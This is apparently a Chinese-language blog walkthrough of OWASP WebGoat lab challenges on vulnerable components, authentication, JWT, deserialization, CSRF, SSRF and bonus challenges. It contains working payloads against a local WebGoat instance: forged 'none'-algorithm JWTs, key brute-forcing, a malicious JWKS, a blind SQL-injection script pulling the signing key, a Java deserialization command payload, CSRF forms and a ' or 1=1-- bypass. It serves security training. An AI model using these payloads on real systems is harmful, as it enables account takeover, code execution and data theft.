SonarQube 静态代码分析工具

(A6) Vuln & Outdated Companents-漏洞和过时的组件

Vulnerable Components

前置知识
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Vulnerable Components 是指应用程序中使用的第三方库、框架、或软件模块,它们存在已知的安全漏洞,这些漏洞可能被攻击者利用来破坏系统的安全性。

常见不安全组件:
1. Apache Log4j (Log4Shell)
漏洞描述: Log4j 是一个广泛使用的 Java 日志记录框架。2021 年爆发的 Log4Shell 漏洞 (CVE-2021-44228) 允许攻击者通过构造特定的日志消息远程执行代码。
影响范围: 使用 Log4j 的 Java 应用程序,如企业软件、在线服务等。
解决措施: 升级到安全版本 Log4j 2.17.0 或更高版本,并禁用不必要的 JNDI 功能。

2. jQuery (Old Versions)
漏洞描述: 早期版本的 jQuery(如 1.12.4 或 2.2.4)存在 XSS 漏洞,攻击者可以通过 DOM 操作注入恶意脚本。
影响范围: 使用旧版 jQuery 的 Web 应用。
解决措施: 升级到最新版本的 jQuery 并审查相关代码。

3. Struts2 Remote Code Execution
漏洞描述: Apache Struts 是一个流行的 Java Web 框架。某些版本的 Struts 存在 OGNL 表达式注入漏洞 (如 CVE-2017-5638),允许攻击者远程执行任意代码。
影响范围: 使用特定版本 Apache Struts2 的 Web 应用。
解决措施: 升级到最新的安全版本或替换更安全的框架。

(A7) Identity & Auth Failure-身份和身份验证失败

Authentication Bypasses and Insecure Login

开始挑战

第一关:

1
2
3
根据如上分析,直接删除 secQuestion0、secQuestion2 反而不行,所以只要修改其中一个的名字即可。

secQuestion=1&secQuestion2=1&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

第二关:

1
2
3
账号、密码等敏感信息通过明文进行传输,抓包即可。

{"username":"CaptainJack","password":"BlackPearl"}

JWT tokens

前置知识点

JWT Token 的结构:

1
2
3
4
5
6
7
8
9
10
令牌采用 base64 编码,由三部分组成:
- header
- claims
- signature

名词解释:
- JWS:Signed JWT,签名过的JWT
- JWK:Secret,JWT密钥
- JKU:JWK Set URL,服务器通过访问该URI可以获取JWK集合中的密钥
- KID:密钥ID,在有多个密钥可供选择的情况下,服务器可以使用这个 ID 来识别正确的密钥

获取 Token 的基本顺序如下:

JWT Token 攻击
1
2
3
4
5
6
7
8
9
10
11
1、将算法修改为none
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。


2、密钥混淆攻击
JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。
如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)?那么,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。


3、暴力破解密钥
jwt_tool.py 脚本
token 类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  通常有两种类型的令牌:访问令牌和刷新令牌。访问令牌用于对服务器进行 API 调用。访问令牌的生命周期有限,这就是刷新令牌的用武之地。一旦访问令牌不再有效,就可以向服务器发出请求,通过提供刷新令牌来获取新的访问令牌。刷新令牌可能会过期,但其生命周期要长得多。这解决了用户必须使用其凭证再次进行身份验证的问题。您应该使用刷新令牌还是访问令牌取决于,在选择要使用的令牌时,下面可以找到几点要记住。

发出请求:
curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login

服务器返回:
{
"token_type":"bearer",
"access_token":"XXXX.YYYY.ZZZZ",
"expires_in":10,
"refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7"
}

如您所见,刷新令牌是一个随机字符串,服务器可以跟踪该字符串(在内存中或存储在数据库中),以便将刷新令牌与授予刷新令牌的用户匹配。因此,在这种情况下,只要访问令牌仍然有效,我们就可以说是“无状态”会话,服务器端没有设置用户会话的负担,令牌是自包含的。当访问令牌不再有效时,服务器需要查询存储的刷新令牌,以确保该令牌未以任何方式被阻止。
每当攻击者获得访问令牌时,它仅在一定时间内有效(比如 10 分钟)。然后,攻击者需要刷新令牌来获取新的访问令牌。这就是刷新令牌需要更好保护的原因。也可以将刷新令牌设为无状态,但这意味着更难查看用户是否撤销了令牌。在服务器完成所有验证后,它必须向客户端返回新的刷新令牌和新的访问令牌。客户端可以使用新的访问令牌进行 API 调用。

目的:保证访问令牌经常变化等。
开始挑战

第一关:

1
2
3
4
5
6
7
8
9
10
claims 部分为用户信息通过 Base64 进行编码,只要用 Base64 进行解码即可。

{
"authorities" : [ "ROLE_ADMIN", "ROLE_USER" ],
"client_id" : "my-client-with-secret",
"exp" : 1607099608,
"jti" : "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"scope" : [ "read", "write" ],
"user_name" : "user"
}

第二关:
JSON Web Tokens - jwt.io

1
2
3
4
5
1、修改 header 将算法改为none,表示不对 signature 进行验证
2、修改 claims 部分
3、不要第三部分最后进行 Base64 编码,不要带 = 符号

eyJhbGciOiJub25lIn0.eyJpYXQiOjE3Mzc4MDE3NjMsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJTeWx2ZXN0ZXIifQ.

第三关:

1
2
3
4
5
  Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken) 这行代码会解析给定的accessToken,并验证其签名(如果有的话)。返回的Jwt对象包含了JWT的头部和载荷信息,但不直接提供对载荷声明的直接访问。如果accessToken是一个未签名的JWT,这行代码仍然可以解析它,但不会进行签名验证。

Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken) 这行代码同样解析accessToken并验证其签名,但它专门用于处理签名的JWT(JWS)。返回的对象是一个ClaimsJws,它是一个特殊的Jwt实现,可以直接访问JWT的载荷声明。如果accessToken未签名或签名不正确,这行代码会抛出异常。

只删除了签名部分,保持算法不变。以下 parse 方法,我们仍然可以跳过签名检查。您会看到我们使用 setSigningKey 设置了签名密钥,但库仍然跳过签名的验证。

第四关:

1
2
3
4
5
python jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTczNjkzNjU2OCwiZXhwIjoxNzM2OTM2NjI4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.D3UWLS3WaQXe-TWvPUkLOt5eiFo2ALoyD2RQgKZHkgY -C -d jwt.txt

爆破密钥:washington

利用密钥修改时间戳让当前时间的时间戳大于iat,小于exp。

第五关:

1
与第三关一致通过 Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); 来解析,通过将算法修改为 none 修改后绕过。

第六关:
利用 openssl 生成私钥,获取模数和指数等信息

1
2
3
4
5
6
7
8
openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048

openssl rsa -pubout -in private_key.pem -out public_key.pem

openssl rsa -in your_private_key.pem -modulus -noout

openssl rsa -in private_key.pem -text -noout | grep publicExponent

对模数、指数进行 Base64 编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64

# 模数
text = """00:b6:58:0b:89:00:d8:bd:2d:e3:78:ac:60:ef:48:
    70:b7:bd:ac:a1:3e:2e:2f:75:a3:39:7e:de:75:26:
    2e:bf:7b:b3:68:0b:21:61:80:e2:44:0b:c4:ec:09:
    9f:bb:e9:58:89:d7:9d:2e:44:d8:45:f2:76:b1:7f:
    4d:95:85:a4:3c:e2:ed:5a:4c:6d:08:ab:b5:e5:64:
    c5:34:6e:d0:dd:f8:78:a0:99:8c:63:e7:0a:22:a4:
    e0:81:0c:cf:ae:95:eb:99:60:54:21:5b:ea:ca:4a:
    b7:a0:d5:5f:ea:6a:b7:e8:39:dc:a4:77:fc:b6:a6:
    32:14:3b:c3:fe:cf:a9:7b:b0:71:16:aa:57:a8:1f:
    cd:24:72:65:04:7e:bb:e9:db:64:30:09:fc:7c:83:
    dd:6f:ad:42:94:f6:73:fa:f8:13:e7:32:7e:69:94:
    e1:9e:a6:d5:17:d5:34:5a:25:7a:1d:44:95:06:64:
    2c:21:27:25:cc:28:5d:b0:13:bb:a0:24:52:31:2b:
    12:71:58:69:53:b7:63:f8:46:cf:4e:9c:07:e9:8c:
    24:0f:92:d6:01:96:ad:92:48:ad:2c:04:b5:97:c5:
    fd:f3:32:be:2b:eb:2c:34:a1:2e:a1:a9:05:c1:08:
    ef:91:46:2b:9b:c6:67:b6:10:43:5c:aa:54:ff:01:
    77:1d"""
modulus_hex = text.replace(":","").replace("\n","").replace(" ","")
modulus_bytes = bytes.fromhex(modulus_hex)
modulus_base64url = base64.urlsafe_b64encode(modulus_bytes).decode('utf-8').rstrip('=')
print(modulus_base64url)
# 指数
e = "AQAB"

# 模数:ALZYC4kA2L0t43isYO9IcLe9rKE-Li91ozl-3nUmLr97s2gLIWGA4kQLxOwJn7vpWInXnS5E2EXydrF_TZWFpDzi7VpMbQirteVkxTRu0N34eKCZjGPnCiKk4IEMz66V65lgVCFb6spKt6DVX-pqt-g53KR3_LamMhQ7w_7PqXuwcRaqV6gfzSRyZQR-u-nbZDAJ_HyD3W-tQpT2c_r4E-cyfmmU4Z6m1RfVNFoleh1ElQZkLCEnJcwoXbATu6AkUjErEnFYaVO3Y_hGz06cB-mMJA-S1gGWrZJIrSwEtZfF_fMyvivrLDShLqGpBcEI75FGK5vGZ7YQQ1yqVP8Bdx0
# 指数:AQAB

构造恶意 JWKS 文档
{
"keys": [
{
"kty": "RSA",
"kid": "malicious-key-id",
"n": "ALZYC4kA2L0t43isYO9IcLe9rKE-Li91ozl-3nUmLr97s2gLIWGA4kQLxOwJn7vpWInXnS5E2EXydrF_TZWFpDzi7VpMbQirteVkxTRu0N34eKCZjGPnCiKk4IEMz66V65lgVCFb6spKt6DVX-pqt-g53KR3_LamMhQ7w_7PqXuwcRaqV6gfzSRyZQR-u-nbZDAJ_HyD3W-tQpT2c_r4E-cyfmmU4Z6m1RfVNFoleh1ElQZkLCEnJcwoXbATu6AkUjErEnFYaVO3Y_hGz06cB-mMJA-S1gGWrZJIrSwEtZfF_fMyvivrLDShLqGpBcEI75FGK5vGZ7YQQ1yqVP8Bdx0",
"e": "AQAB"
}
]
}

生成 JWT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import jwt
from cryptography.hazmat.primitives import serialization
# 加载私钥
with open("private_key.pem", "rb") as f:
    private_key = serialization.load_pem_private_key(f.read(), password=None)
# 构造 Header 和 Payload
header = {
    "alg": "RS256",
    "typ": "JWT",
    "kid": "malicious-key-id",  # 必须与 JWKS 中的 kid 匹配
    "jku": "http://127.0.0.1:8000/exploit.json"
}
payload = {
  "iss": "WebGoat Token Builder",
  "iat": 1737005200,
  "exp": 1737105247,
  "aud": "webgoat.org",
  "sub": "Tom@webgoat.com",
  "username": "Tom",
  "Email": "Tom@webgoat.com",
  "Role": [
    "Cat"
  ]
}
# 使用私钥签名生成 JWT
token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)
print("Malicious JWT:", token)

# eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODAwMC9leHBsb2l0Lmpzb24iLCJraWQiOiJtYWxpY2lvdXMta2V5LWlkIiwidHlwIjoiSldUIn0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE3MzcwMDUyMDAsImV4cCI6MTczNzEwNTI0NywiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJUb21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoiVG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.nbiijT8xX1bTr1A93Oq6J8_PfZ6FnBQZYM0cFy8chl8l3sL2-qRctlVBQ8p2db6oSv_ofs11d_EIFZII21Iwno6jkqncSZFPRkaR5KRPZUg8PUwE9Q2tbplP6l8JbnS9m6rwlMiXKp0VnYeEs0HPhbHghsqExYm_PNJNElKDno3tpqUab0mXeICSLhC6Uiz5YiMi5_JmwiZxt0QKNBKLnvhY2-AiIw7z5bOzLovHqu9JokFvUWhpNXrZ1Ms_Bi-1Gmj2XI1KUkRn59FZR2k5dTv2svkCnBr0pdKTVR7-v-D36uTOzNEv1c_631NBzDqg1bBo8iC97FToHxcTzMECOw

最后

1
抓包,直接点击 delete 会返回 404,查看源码发现没有 final/delete,修改为 jku/delete 并将token 修改即可。

第 7 关:

方法一:

1
2
3
4
SELECT key FROM jwt_keys WHERE id = 'kid'
-- 构造 kid 获取 jwt_keys
-- 先获取长度
kid' and length(key)=1--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 编写脚本爆破私钥,结果 qwertyqwerty1234
import requests
import base64
import json

url = "http://127.0.0.1:8080/WebGoat/JWT/kid/delete?token="
headers = {
    'Cookie': 'JSESSIONID=GPB4lS6HrkqqVXkknd8OIr6zPNBbLxPMsvQ0cr_i'
}
base64_charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base64_char_list = list(base64_charset)
token_header = {"typ": "JWT", "kid": "", "alg": "HS256"}
payload = "webgoat_key' and substring(key,99,1)='00'--"
token = ".eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.dwr7tyUEqfx6UYYIvxgBZ6ANO_lrj7THIRji6blurbE"
# 正确替换 payload 并进行 Base64 编码
for i in range(1,17):
    for j in base64_char_list:
        new_payload = payload.replace("00", j).replace("99", str(i))
        token_header["kid"] = new_payload
        token_header_json = json.dumps(token_header)
        token_header_base64 = base64.urlsafe_b64encode(token_header_json.encode('utf-8')).decode('utf-8')
        new_token = token_header_base64.replace("=", "") + token
        new_url = url + new_token
        with requests.post(new_url, headers=headers) as response:
            if response.status_code == 200:
                print(j,end="")
                break

根据密钥生成 JWT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
import json
import hashlib
import hmac

# 密钥(经过Base64解码)
secret_key = base64.urlsafe_b64decode("qwertyqwerty1234".encode())
# JWT Header
header = {
    "typ": "JWT",
    "kid": "webgoat_key",
    "alg": "HS256"
}
# JWT Payload
payload = {
    "iss": "WebGoat Token Builder",
    "iat": 1717005200,
    "exp": 1767105247,
    "aud": "webgoat.org",
    "sub": "Tom@webgoat.com",
    "username": "Tom",
    "Email": "Tom@webgoat.com",
    "Role": [
        "Cat"
    ]
}
# 将Header和Payload转换为JSON字符串并编码为Base64
header_json = json.dumps(header).encode()
payload_json = json.dumps(payload).encode()
header_b64 = base64.urlsafe_b64encode(header_json).rstrip(b'=')
payload_b64 = base64.urlsafe_b64encode(payload_json).rstrip(b'=')
# 生成签名
signature = hmac.new(secret_key, header_b64 + b'.' + payload_b64, hashlib.sha256).digest()
# 将签名编码为Base64
signature_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=')
# 组合Header、Payload和Signature以生成JWT
jwt_token = f"{header_b64.decode()}.{payload_b64.decode()}.{signature_b64.decode()}"
print(jwt_token)

# eyJ0eXAiOiAiSldUIiwgImtpZCI6ICJ3ZWJnb2F0X2tleSIsICJhbGciOiAiSFMyNTYifQ.eyJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwgImlhdCI6IDE3MTcwMDUyMDAsICJleHAiOiAxNzY3MTA1MjQ3LCAiYXVkIjogIndlYmdvYXQub3JnIiwgInN1YiI6ICJUb21Ad2ViZ29hdC5jb20iLCAidXNlcm5hbWUiOiAiVG9tIiwgIkVtYWlsIjogIlRvbUB3ZWJnb2F0LmNvbSIsICJSb2xlIjogWyJDYXQiXX0.6gNoKURQKa9TtbJi9F_HwUn1ZEOvPotlcYyjRSoR7XQ

方法二:

1
2
3
SELECT key FROM jwt_keys WHERE id = 'kid'
-- 构造 Payload,此时数据库会返回 MQ==,解码后就是 1
1' union select 'MQ==' from jwt_keys;--


生成 JWT 通过网站,密钥为 1

1
eyJ0eXAiOiJKV1QiLCJraWQiOiIxJyB1bmlvbiBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXM7LS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE3MzcwMDQyNDcsImV4cCI6MTczODEwNTI0NywiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJUb21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoiVG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.IuTENgWBB_PUnMtXB2SXixPUoI_7wB0-G5Nt_5QHyAg

Password reset

开始挑战

第二关:

1
当时我想的是,代码逻辑是提交 username=webgoat&securityQuestion=red,然后执行 SELECT color from xxx(表名可以通过报错获取) where username='webgoat' ,最后将获取结果与'red'进行比较,但是真实代码如下:

1
直接绑定了,所以这题是通过爆破 securityQuestion 通过的。

第四关:

1
只能抓包的时候修改 host,通过重放攻击修改 host 需要指定真实 host

1
重置密码是将 UUID 置换为 Tom 的即可

(A8) Software & Data Intergrity-软件和数据完整性

Insecure Deserialization

前置知识点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
什么是序列化?
序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。反序列化是该过程的相反过程,从某种格式获取结构化的数据,并将其重新构建为对象。如今,用于序列化数据的最流行的数据格式是 JSON。在此之前,它是 XML。

索引数组:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
关联数组:
a:3:{s:4:"name";s:5:"Alice";s:3:"age";i:30;s:8:"isMember";b:1;}

a 表示数组
O 表示对象
i 表示整数
d 表示浮点数
s 表示字符串
b 表示布尔值
N 表示NULL
开始挑战(Java 反序列化)

1
2
3
4
5
6
接着看 VulnerableTaskHolder 类,一共有四个属性:

private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//分析完后,我们来到声明 VulnerableTaskHolder 类的文件目录下,创建一个 SerialMain 的 java 文件,这样就可以直接调用 VulnerableTaskHolder 了。

package org.dummy.insecure.framework;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class SerialMain {

static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("ping", "ping -n 6 127.0.0.1");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){
System.out.println("error");
}
}
}

//rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfpARETCCkNPI98eHQAE3BpbmcgLW4gNiAxMjcuMC4wLjF0AARwaW5n

(A9) Security Logging Failures-安全日志记录失败

Logging Security

开始挑战

(A10) Server-Side Request Forgery-服务器端请求伪造

Cross-Site Request Forgeries

前置知识点
1
2
3
4
5
6
7
8
9
10
  跨站请求伪造,也称为一键攻击或会话骑行,缩写为 CSRF(有时发音为 sea-surf)或 XSRF,是一种对网站的恶意利用,其中未经授权的命令从网站信任的用户传输。与利用用户对特定站点的信任的跨站点脚本 (XSS) 不同,CSRF 利用站点对用户浏览器的信任。

许多 Web 应用程序没有实现对 CSRF 的保护,它们在某种程度上受到保护,因为它们只使用 `application/json` 作为内容类型。从浏览器使用此内容类型发出请求的唯一方法是使用 XHR 请求。在浏览器可以发出此类请求之前,将向服务器发出预检请求(请记住,CSRF 请求将是跨域的)。如果预检响应不允许跨域请求,则浏览器将不会进行调用。


CORS(跨源资源共享,Cross-Origin Resource Sharing:是一种安全措施,它允许或拒绝来自不同源(协议、域名或端口不同)的网页上的Web应用程序访问另一源中的资源。

XHR
全称 XMLHttpRequest是一种用于与服务器进行交互的浏览器API,通过XHR可以在不刷新页面的情况下请求特定URL,获取数据。在载入json数据时,就需要用到 XHR对象。

开始挑战

第一关:

1
就是模拟 CSRF 攻击,比如说B站有一个投票的页面,通过点击可以为不同UP主投票,通过抓包来看就是请求了一个链接是一个带上了一些必要参数数据(投票up名之类的),重要的是请求中包含了用户的 cookie,这是我们可以制作一个带有诱惑的按钮放在互联网中,如果有人登录了B站且点击了这个按钮,就会为指定up主投票,此时请求数据包中的 refer 字段就会为不一样。本题通过修改 Refer 字段即可。

第二关:

1
与第一关同理,但是这里我们通过 Yakit 自动生成一个 CSRF 页面,记得要先登录 webgoat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<body>
<form
action="http://127.0.0.1:8080/WebGoat/csrf/review"
method="POST"
name="form1"
enctype="application/x-www-form-urlencoded"
>
<input type="hidden" name="reviewText" value="123" />
<input type="hidden" name="stars" value="123" />
<input
type="hidden"
name="validateReq"
value="2aa14227b9a13d0bede0388a7fba9aa9"
/>
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/");
</script>
</body>
</html>

第三关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!--因为需要发送的请求体为 json 格式,所以这里需要精心构造一下,-->

<html>
<body>
<form
action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message"
method="POST"
name="form1"
enctype="text/plain"
>
<input
type="hidden"
name='{"name":"WebGoat","email":"webgoat@webgoat.org","subject":"service","message":"'
value='WebGoat is the best!!"}'
/>
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/");
</script>
</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!--如果想通过 javascript 来实现发送的话是不行的,会出现跨域问题-->

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Send Default JSON via AJAX</title>
<script>
document.addEventListener("DOMContentLoaded", function () {
const sendButton = document.getElementById("sendButton");

sendButton.addEventListener("click", function () {
const defaultData = {
name: "WebGoat",
email: "webgoat@webgoat.org",
subject: "service",
message: "WebGoat is the best!!",
};

// 使用fetch发送POST请求
fetch("http://127.0.0.1:8080/WebGoat/csrf/feedback/message", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(defaultData),
})
.then((response) => {
if (!response.ok) {
throw new Error(
"Network response was not ok " + response.statusText
);
}
return response.json();
})
.then((data) => {
console.log("Success:", data);
// 这里可以处理服务器返回的数据
})
.catch((error) => {
console.error("Error:", error);
});
});
});
</script>
</head>
<body>
<button id="sendButton">Send Default Request</button>
</body>
</html>

第四关:

1
本关就是模拟当用户点击一个按钮时,会向 webgoat 发送攻击者的账号密码进行登录,会返回 set-cookie,这样神不知鬼不觉被害者就会登录我们的 webgoat 帮我们做题了。根据给出的提示,是让我们保留这个页面,然后新创建一个页面用另一个用户登录 webgoat 然后回到刚刚的界面点击按钮。本来还想通过修改 cookie 营造不同身份来快速答题,但是代码写死了检测当前用户名是否以 csrf- 开头。

Server-Side Request Forgery

前置知识点
1
在服务器端请求伪造 (SSRF) 攻击中,攻击者可以滥用服务器上的功能来读取或更新内部资源。攻击者可以提供或修改 URL,服务器上运行的代码将读取或提交数据。此外,通过仔细选择 URL,攻击者可以读取服务器配置(如 AWS 元数据)、连接到内部服务(如启用 HTTP 的数据库)或对不打算暴露的内部服务执行 POST 请求。

开始挑战
1
都是抓包修改请求体 url 参数的值即可

Challenges

Admin lost password

1
根据提示猜测是弱口令,但是不是这样,而是隐写到了图片里

Admin password reset

前置知识点
1
2
Git 是一个开源的分布式版本控制系统 ,我们简单的理解为 Git 是一个内容寻址文件系统,也就是说Git 的核心部分是键值对数据库。 当我们向 Git 仓库中插入任意类型的内容(开发者们在其中做的版本信息修改之类的操作),它会返回一个唯一的键,通过该键可以在任意时刻再次取回该内容。
在配置不当的情况下,可能会将“.git”文件直接部署到线上环境,这就造成了git泄露问题。攻击者利用该漏洞下载.git文件夹中的所有内容。如果文件夹中存在敏感信息(数据库账号密码、源码等),通过白盒的审计等方式就可能直接获得控制服务器的权限和机会!
开始挑战
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
想通过之前课程中的修改 host 获取 admin 的 UUID 但是行不通。那么该如何获取 admin 的 UUID 呢?回到页面 Ctrl + Shift + C 将鼠标移到 "Try to reset the password for admin." 位置。会发现隐藏文字。

<!--
** Revision history (automatically added by: /challenge/7/.git/hooks)
2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017
ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded key
f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-->

链接:
http://127.0.0.1:8080/WebGoat/challenge/7/.git(这是一个典型的 Git 信息泄露)

利用工具 githack 下载泄露的 GIT 仓库
python GitHack.py http://127.0.0.1:8080/WebGoat/challenge/7/.git 发现是一个 zip 文件,下载到本地进行解压。

方法一:
在 .git 所在目录开启http服务,然后利用 githack 获取信息
方法二:
在 .git 所在目录打开 git bash 执行 git reset --hard

进入 PasswordResetLink.class 查看

Without account

1
将请求方式修改为 HEAD 即可。

Without password

1
刚开始想通过 Forgot Password? 入手但是这指向一个没用链接。尝试弱口令还是不行,那就只能 SQL 注入了,要注意的是用户名必须是 Larry 才能进行注入。

1
2
3
4
5
通过报错获取 SQL 语句
select password from challenge_users where userid = 'Larry' and password = ''

这里直接使用万能密码
' or 1=1--

Bypass front-end restrictions

前端知识点
1
2
概念:
在前端对发送数据进行了限制。客户端可以改js+html,所以一切在客户端也就是前端做的校验,都是可以绕过的
开始挑战
1
2
3
4
5
第一关:
抓包修改请求体的值即可

第二关:
同样抓包修改即可

Client side filtering

前置知识点
1
指在客户端(通常是用户的浏览器)对数据进行筛选和过滤的过程,而不是在服务器端进行,导致用户可以接收到不应该访问的数据。
开始挑战
1
2
第一关:
选择一名用户后,响应包会返回所有用户信息

第二关:

1
点了点都没发现返回的数据有折扣码信息,唯一有用的就是返回信息中含有 "discount" : 0 的字段,尝试修改为 100 发现前端页面价格确实变为了 0 但是没有通过。直接上源码

1
点击 buy 除了发送上面那个包还请求了另一个链接,并且带上了我们折扣码

1
查看源码,在折扣框附近发现了 <!--Checkout code: webgoat, owasp, owasp-webgoat--> 但是不对。还得看源码。

1
所以这里抓包把参数删除即可获取。

HTML tampering

前置知识点
1
比如说后端通过前端发送的价钱为标准,那么可以通过修改 js、html 来修改价钱。
开始挑战
1
方法一:通过抓包修改价格